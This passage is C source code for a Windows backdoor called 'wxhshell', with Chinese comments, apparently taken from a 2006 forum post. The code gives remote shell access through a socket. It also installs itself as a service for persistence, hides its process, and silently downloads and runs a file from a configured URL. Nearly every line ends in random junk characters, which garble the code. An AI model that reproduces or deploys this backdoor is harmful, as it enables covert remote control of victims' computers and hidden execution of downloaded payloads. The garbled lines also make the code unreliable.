  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8$xg\l0?KK  
  } C4TJS,!1rH  
  else { VU}UK$JN  
EJb"/oLla  
    switch(cmd[0]) { "A,]y E  
  tlI3jrgw  
  // 帮助 ,? <jue/bd  
  case '?': { OUnt?[U\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'hf-)\Ylf  
    break; yi r#G""7  
  } r3_@ L>;  
  // 安装 lNls8@  
  case 'i': { jO<K0c c  
    if(Install()) BLuILE:$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )MmMs"Um  
    else ^xu`NE8;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&TPrB  
    break; rsOon2|  
    } o^d(mJZ.F~  
  // 卸载 }g5h"N\$o  
  case 'r': { o24` 5Jdh  
    if(Uninstall()) X.%Xi'H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z#8GF^U:T  
    else KX[_eO L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >bEH&7+@_'  
    break; 2 os&d|  
    } #B;`T[  
  // 显示 wxhshell 所在路径 -"<H$  
  case 'p': { ATk>:^n  
    char svExeFile[MAX_PATH]; Euk#C;uBg  
    strcpy(svExeFile,"\n\r"); o/2\8   
      strcat(svExeFile,ExeFile); ) m%ghpX  
        send(wsh,svExeFile,strlen(svExeFile),0); J$j&j`  
    break; !gW$A-XD  
    } ce 1KUwo]  
  // 重启 'O \YL(j_e  
  case 'b': { v9u/<w68!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S-Ryt>G  
    if(Boot(REBOOT)) vn6/H8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5i83(>p3]e  
    else { q~_Nv5r%O  
    closesocket(wsh); ~}$:iyJV(>  
    ExitThread(0); J0C<Qb[  
    } }\OLBg/  
    break; +\\*Iy'xK  
    } ()}O|JL:K  
  // 关机 -r/#20Y  
  case 'd': { el;^cMY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [ C] =p  
    if(Boot(SHUTDOWN)) y%v<Cp@R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zPH1{|H+l  
    else { uy~5!i&  
    closesocket(wsh); @@'zMV%  
    ExitThread(0);  A5F< <  
    } lVARe3#  
    break; 2:&8FdU  
    } Ej F<lw  
  // 获取shell lk 1c 2  
  case 's': { 05=O5<l  
    CmdShell(wsh); ~pX&>v\T  
    closesocket(wsh); i ao/l  
    ExitThread(0); rcF;Lp :  
    break; 3k5Mty  
  } bxqXFy/I  
  // 退出 F2AM/m^!q  
  case 'x': { {ylc 2 1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J,4]d u$  
    CloseIt(wsh); o3]B/  
    break; &&M-5XD  
    } >O9j},X  
  // 离开 kIiId8l  
  case 'q': { B[S.6 "/H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7iLm_#M  
    closesocket(wsh); o-lb/=K+  
    WSACleanup(); 9c=Y+=<  
    exit(1); 8}{';k  
    break; agM.-MK  
        } slOki|p;  
  } T9*\I TA  
  } JihI1C  
iL/(WAB_od  
  // 提示信息 >XSe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ^G~W}z?-  
} % 95:yyH 0  
  } 3wX{U8mrg  
,B5Ptf#  
  return; 0{BPT>'  
} ^ B=x-G.  
v"F.<Q  
// shell模块句柄 oZA|IF8U0  
int CmdShell(SOCKET sock) A0V"5syY  
{ wkdd&Nw;  
STARTUPINFO si; I{_St8  
ZeroMemory(&si,sizeof(si)); o%Vf#W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -=Q_E^'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MPAZ%<gmD  
PROCESS_INFORMATION ProcessInfo; ?\<2*sW [k  
char cmdline[]="cmd"; ^;6~=@#*C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zt[TShD^  
  return 0; l^u P?l"  
} $Y,,e3R3  
^R,5T}J.  
// 自身启动模式 l0U6eOx  
int StartFromService(void) f8#WT$Ewy  
{ 6!n"E@Bwu  
typedef struct SR*%-JbA  
{ vk5pnCM^3  
  DWORD ExitStatus; xv$^%(Ujp  
  DWORD PebBaseAddress; xGk@BA=0<  
  DWORD AffinityMask; n{r+t=X  
  DWORD BasePriority; %,K|v  
  ULONG UniqueProcessId; V~Tjz%<  
  ULONG InheritedFromUniqueProcessId; :0CR=]WM  
}   PROCESS_BASIC_INFORMATION; ' uo`-Y  
u5H#(&Om  
PROCNTQSIP NtQueryInformationProcess; }<2F]UuR  
a_waLH/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6zRJ5uI,/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; umcbIi('  
?OZbns~  
  HANDLE             hProcess; )_GM&-  
  PROCESS_BASIC_INFORMATION pbi; ]WWre},  
!Ya +  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >,@Fz)\:{'  
  if(NULL == hInst ) return 0; <j ;HRm  
nKu`Ta*fX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E;VBoN [  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;FMK>%Zq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZNOoyWYi5  
%f6l"~y  
  if (!NtQueryInformationProcess) return 0; w?jmi~6  
 7z<!2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qc[[@=S%  
  if(!hProcess) return 0; Yo| H`m,  
^nbze  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s.=)p"pTd  
Kzo{L  
  CloseHandle(hProcess); X2 M<DeF:  
])m",8d&T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k5!k3yI  
if(hProcess==NULL) return 0; e&; c^Z  
+FY-r[_~  
HMODULE hMod; )tFFa*Z'  
char procName[255]; f910drg7  
unsigned long cbNeeded; %bDd  
&U4]hawbOU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Cg;l<$`b  
]DmqhK`  
  CloseHandle(hProcess); Qbl6~>T  
m9#u. Q*  
if(strstr(procName,"services")) return 1; // 以服务启动 U|{WtuR  
vbDw2  
  return 0; // 注册表启动  o<Y|N   
} `c:'il?  
7c %@2  
// 主模块 &sS k~:  
int StartWxhshell(LPSTR lpCmdLine) _j%Rm:m;<  
{ pxI*vgfN7  
  SOCKET wsl; (g7nMrE$j  
BOOL val=TRUE; JGj_{|=:  
  int port=0; Q.z2 (&  
  struct sockaddr_in door; }[LK/@h  
KO)<Zh  
  if(wscfg.ws_autoins) Install(); 8^dGI9N  
L'aMXNO  
port=atoi(lpCmdLine); $ZcmE<7k  
^jf$V #z0/  
if(port<=0) port=wscfg.ws_port; D cus-,u~  
zE<vFP-1v  
  WSADATA data; CvbY2_>Nh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ec=4L@V*  
HS(<wI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {/Q pEd>3+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?a}eRA7  
  door.sin_family = AF_INET; xZ;';}&pj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X\1D[n:  
  door.sin_port = htons(port); ngm7Vs  
* +OAc `8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XJ?@l3D:  
closesocket(wsl); +Kf::[wP7  
return 1; J,7_5V@jJ  
} h$ZF[Xbfe  
_^P>@ ^  
  if(listen(wsl,2) == INVALID_SOCKET) { 5+ fS$Q  
closesocket(wsl); Cs]xs9  
return 1; 0 |F (qR  
} ?|s[/zPS=  
  Wxhshell(wsl); <m@U`RFm  
  WSACleanup(); F&c A!~  
:"QRB#EC%  
return 0; @kqy!5)K  
=A!I-@]q<  
} %+pXzw`B  
<78> 6u/W%  
// 以NT服务方式启动 !2{MWj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )3G?5 OTS  
{ \[D"W{9l  
DWORD   status = 0; koqH~>ZtD  
  DWORD   specificError = 0xfffffff; niA{L:4  
7s.sbP~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gl!3pTC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .S5&MNE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ko, u  
  serviceStatus.dwWin32ExitCode     = 0; v WhtClJ3  
  serviceStatus.dwServiceSpecificExitCode = 0; {?m',sG;&  
  serviceStatus.dwCheckPoint       = 0; 5@v!wms  
  serviceStatus.dwWaitHint       = 0; 7XwFO0==  
UyF]gO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]\_4r)cN<n  
  if (hServiceStatusHandle==0) return; F[?t"d  
7 'f>  
status = GetLastError(); D2?7=5DgS  
  if (status!=NO_ERROR) WrG)&&d  
{ p1|@F^Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H>Fy 2w  
    serviceStatus.dwCheckPoint       = 0; #D>8\#53V/  
    serviceStatus.dwWaitHint       = 0; |J6CH87>  
    serviceStatus.dwWin32ExitCode     = status; T 7 h C]R  
    serviceStatus.dwServiceSpecificExitCode = specificError; F`3 8sq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }NYsKu_cM  
    return; gqC:r,a  
  } Z>X -ueV  
] xH `  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L^0jyp  
  serviceStatus.dwCheckPoint       = 0; FD`V39##  
  serviceStatus.dwWaitHint       = 0; IzL yn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TnKe"TA|9  
} 3 F4I{L  
\,_%e[g49  
// 处理NT服务事件,比如:启动、停止 O^IpfS\/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R_H di~ k  
{ kj-S d^  
switch(fdwControl) +Uk/Zg w^  
{ `U;4O)`n  
case SERVICE_CONTROL_STOP: Nz]\%c/-  
  serviceStatus.dwWin32ExitCode = 0; xUeLX`73  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  F-ijGGL#  
  serviceStatus.dwCheckPoint   = 0; A!j&g(Z"Q  
  serviceStatus.dwWaitHint     = 0; M"V?fn'  
  { UCq+F96j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w-\GrxlbX  
  } 4~Z\tP|Q.  
  return; qvab >U`  
case SERVICE_CONTROL_PAUSE: \ (X~Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tlf G"HzZ%  
  break; R_ Z H+@O  
case SERVICE_CONTROL_CONTINUE: #nu?b?X'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fYH%vr)  
  break; fo5!d@Nv  
case SERVICE_CONTROL_INTERROGATE: YxsW Y7J  
  break; g@S"!9[;U  
}; G_X'd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ci*Z9&eS+  
} X"[c[YT!%[  
\6sp"KqP  
// 标准应用程序主函数 IJs` 3?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0_%u(?  
{ BGUP-_&  
8WaVs6  
// 获取操作系统版本 7[8PSoo  
OsIsNt=GetOsVer(); PR.?"$!D{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %+`$Lb?{  
XRaq\a`=:  
  // 从命令行安装 $_<,bC1[  
  if(strpbrk(lpCmdLine,"iI")) Install(); NB>fr#pb  
)TP7gLv=b  
  // 下载执行文件 +=:CW'B5  
if(wscfg.ws_downexe) { a|66[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y&SueU=  
  WinExec(wscfg.ws_filenam,SW_HIDE); \E0Uj>9+[  
} B'&%EW]  
Cj ykM])  
if(!OsIsNt) { 1'}~;?_  
// 如果时win9x,隐藏进程并且设置为注册表启动 zs7K :OlkA  
HideProc(); Pirc49c  
StartWxhshell(lpCmdLine); 4m%_#J{  
} N|8TE7- F|  
else O[q {y  
  if(StartFromService()) dx:],VB  
  // 以服务方式启动 6R#f 8  
  StartServiceCtrlDispatcher(DispatchTable); p+A#t~K  
else ]3C7guWz  
  // 普通方式启动 )Ibp%'H  
  StartWxhshell(lpCmdLine); ]JtK)9  
:uqsRFo&4  
return 0; V~ZAs+(2Z  
}
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只看该作者 1 发表于: 2006-10-10
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